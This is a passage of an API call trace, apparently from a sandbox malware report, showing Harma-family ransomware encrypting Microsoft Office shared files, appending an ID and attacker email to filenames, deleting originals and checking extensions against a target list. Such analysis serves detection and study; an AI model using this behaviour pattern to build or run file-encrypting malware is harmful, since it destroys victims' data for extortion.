lpNewFilePointer=0x0) returned 1 [0052.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0052.800] GetLastError () returned 0x0 [0052.800] ReadFile (in: hFile=0x204, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x708, lpOverlapped=0x0) returned 1 [0052.802] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x710, lpOverlapped=0x0) returned 1 [0052.803] ReadFile (in: hFile=0x204, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.803] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.803] SetEndOfFile (hFile=0x1fc) returned 1 [0052.803] CloseHandle (hObject=0x1fc) returned 1 [0052.804] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.804] SetEndOfFile (hFile=0x204) returned 1 [0052.804] CloseHandle (hObject=0x204) returned 1 [0052.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0052.805] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 1 [0052.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.805] lstrlenW (lpString=".doc") returned 4 [0052.805] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.805] lstrlenW (lpString=".docx") returned 5 [0052.805] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0052.805] lstrlenW (lpString=".pdf") returned 4 [0052.805] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.805] lstrlenW (lpString=".xls") returned 4 [0052.805] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.805] lstrlenW (lpString=".xlsx") returned 5 [0052.805] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0052.805] lstrlenW (lpString=".ppt") returned 4 [0052.805] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.805] lstrlenW (lpString=".zip") returned 4 [0052.805] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.805] lstrlenW (lpString=".rar") returned 4 [0052.806] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.806] lstrlenW (lpString=".bz2") returned 4 [0052.806] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.806] lstrlenW (lpString=".7z") returned 3 [0052.806] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.806] lstrlenW (lpString=".dbf") returned 4 [0052.806] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.806] lstrlenW (lpString=".1cd") returned 4 [0052.806] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.806] lstrlenW (lpString=".jpg") returned 4 [0052.806] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.806] lstrlenW (lpString=".doc") returned 4 [0052.806] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.806] lstrlenW (lpString=".docx") returned 5 [0052.806] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0052.806] lstrlenW (lpString=".pdf") returned 4 [0052.806] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.806] lstrlenW (lpString=".xls") returned 4 [0052.806] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.806] lstrlenW (lpString=".xlsx") returned 5 [0052.806] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0052.806] lstrlenW (lpString=".ppt") returned 4 [0052.806] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.806] lstrlenW (lpString=".zip") returned 4 [0052.806] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.807] lstrlenW (lpString=".rar") returned 4 [0052.807] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.807] lstrlenW (lpString=".bz2") returned 4 [0052.807] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.807] lstrlenW (lpString=".7z") returned 3 [0052.807] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.807] lstrlenW (lpString=".dbf") returned 4 [0052.807] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.807] lstrlenW (lpString=".1cd") returned 4 [0052.807] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.807] lstrlenW (lpString=".jpg") returned 4 [0052.807] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.807] lstrcmpiW (lpString1=".HTM", lpString2=".harma") returned 1 [0052.807] lstrlenW (lpString="MCABOUT.HTM") returned 11 [0052.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.808] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=11463) returned 1 [0052.808] CloseHandle (hObject=0x204) returned 1 [0052.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0052.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.809] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.809] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.809] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.809] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0052.811] GetLastError () returned 0x0 [0052.811] ReadFile (in: hFile=0x204, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x2cc7, lpOverlapped=0x0) returned 1 [0052.813] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x2cd0, lpOverlapped=0x0) returned 1 [0052.814] ReadFile (in: hFile=0x204, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.814] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.814] SetEndOfFile (hFile=0x1fc) returned 1 [0052.814] CloseHandle (hObject=0x1fc) returned 1 [0052.815] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.815] SetEndOfFile (hFile=0x204) returned 1 [0052.816] CloseHandle (hObject=0x204) returned 1 [0052.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0052.816] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 1 [0052.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0052.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0052.817] lstrlenW (lpString=".doc") returned 4 [0052.817] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0052.817] lstrlenW (lpString=".docx") returned 5 [0052.817] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0052.817] lstrlenW (lpString=".pdf") returned 4 [0052.817] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0052.817] lstrlenW (lpString=".xls") returned 4 [0052.817] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0052.817] lstrlenW (lpString=".xlsx") returned 5 [0052.817] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0052.817] lstrlenW (lpString=".ppt") returned 4 [0052.817] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0052.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0052.817] lstrlenW (lpString=".zip") returned 4 [0052.817] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0052.817] lstrlenW (lpString=".rar") returned 4 [0052.818] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0052.818] lstrlenW (lpString=".bz2") returned 4 [0052.818] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0052.818] lstrlenW (lpString=".7z") returned 3 [0052.818] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0052.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0052.818] lstrlenW (lpString=".dbf") returned 4 [0052.818] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0052.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0052.818] lstrlenW (lpString=".1cd") returned 4 [0052.818] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0052.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0052.818] lstrlenW (lpString=".jpg") returned 4 [0052.818] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0052.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0052.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0052.818] lstrlenW (lpString=".doc") returned 4 [0052.818] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0052.818] lstrlenW (lpString=".docx") returned 5 [0052.818] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0052.818] lstrlenW (lpString=".pdf") returned 4 [0052.818] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0052.818] lstrlenW (lpString=".xls") returned 4 [0052.818] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0052.818] lstrlenW (lpString=".xlsx") returned 5 [0052.819] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0052.819] lstrlenW (lpString=".ppt") returned 4 [0052.819] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0052.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0052.819] lstrlenW (lpString=".zip") returned 4 [0052.819] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0052.819] lstrlenW (lpString=".rar") returned 4 [0052.819] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0052.819] lstrlenW (lpString=".bz2") returned 4 [0052.819] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0052.819] lstrlenW (lpString=".7z") returned 3 [0052.819] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0052.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0052.819] lstrlenW (lpString=".dbf") returned 4 [0052.819] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0052.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0052.819] lstrlenW (lpString=".1cd") returned 4 [0052.819] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0052.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0052.819] lstrlenW (lpString=".jpg") returned 4 [0052.819] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0052.819] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0052.820] lstrlenW (lpString="DATES.XML") returned 9 [0052.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.820] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=8918) returned 1 [0052.820] CloseHandle (hObject=0x204) returned 1 [0052.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0052.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.821] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.821] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.821] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.821] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.470] GetLastError () returned 0x0 [0054.470] ReadFile (in: hFile=0x204, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x22d6, lpOverlapped=0x0) returned 1 [0054.476] WriteFile (in: hFile=0x1dc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0054.477] ReadFile (in: hFile=0x204, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.477] WriteFile (in: hFile=0x1dc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0054.477] SetEndOfFile (hFile=0x1dc) returned 1 [0054.477] CloseHandle (hObject=0x1dc) returned 1 [0054.478] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.478] SetEndOfFile (hFile=0x204) returned 1 [0054.478] CloseHandle (hObject=0x204) returned 1 [0054.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0054.479] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 1 [0054.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0054.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0054.479] lstrlenW (lpString=".doc") returned 4 [0054.479] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0054.479] lstrlenW (lpString=".docx") returned 5 [0054.479] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0054.479] lstrlenW (lpString=".pdf") returned 4 [0054.479] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0054.480] lstrlenW (lpString=".xls") returned 4 [0054.480] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0054.480] lstrlenW (lpString=".xlsx") returned 5 [0054.480] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0054.480] lstrlenW (lpString=".ppt") returned 4 [0054.480] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0054.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0054.480] lstrlenW (lpString=".zip") returned 4 [0054.480] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0054.480] lstrlenW (lpString=".rar") returned 4 [0054.480] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0054.480] lstrlenW (lpString=".bz2") returned 4 [0054.480] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0054.480] lstrlenW (lpString=".7z") returned 3 [0054.480] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0054.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0054.480] lstrlenW (lpString=".dbf") returned 4 [0054.480] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0054.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0054.480] lstrlenW (lpString=".1cd") returned 4 [0054.480] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0054.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0054.480] lstrlenW (lpString=".jpg") returned 4 [0054.480] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0054.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0054.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0054.480] lstrlenW (lpString=".doc") returned 4 [0054.481] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0054.481] lstrlenW (lpString=".docx") returned 5 [0054.481] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0054.481] lstrlenW (lpString=".pdf") returned 4 [0054.481] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0054.481] lstrlenW (lpString=".xls") returned 4 [0054.481] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0054.481] lstrlenW (lpString=".xlsx") returned 5 [0054.481] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0054.481] lstrlenW (lpString=".ppt") returned 4 [0054.481] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0054.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0054.481] lstrlenW (lpString=".zip") returned 4 [0054.481] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0054.481] lstrlenW (lpString=".rar") returned 4 [0054.481] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0054.481] lstrlenW (lpString=".bz2") returned 4 [0054.481] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0054.481] lstrlenW (lpString=".7z") returned 3 [0054.481] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0054.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0054.481] lstrlenW (lpString=".dbf") returned 4 [0054.481] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0054.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0054.481] lstrlenW (lpString=".1cd") returned 4 [0054.481] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0054.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0054.481] lstrlenW (lpString=".jpg") returned 4 [0054.481] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0054.482] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0054.482] lstrlenW (lpString="TIME.XML") returned 8 [0054.482] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.482] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=8564) returned 1 [0054.482] CloseHandle (hObject=0x204) returned 1 [0054.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0054.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.483] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: 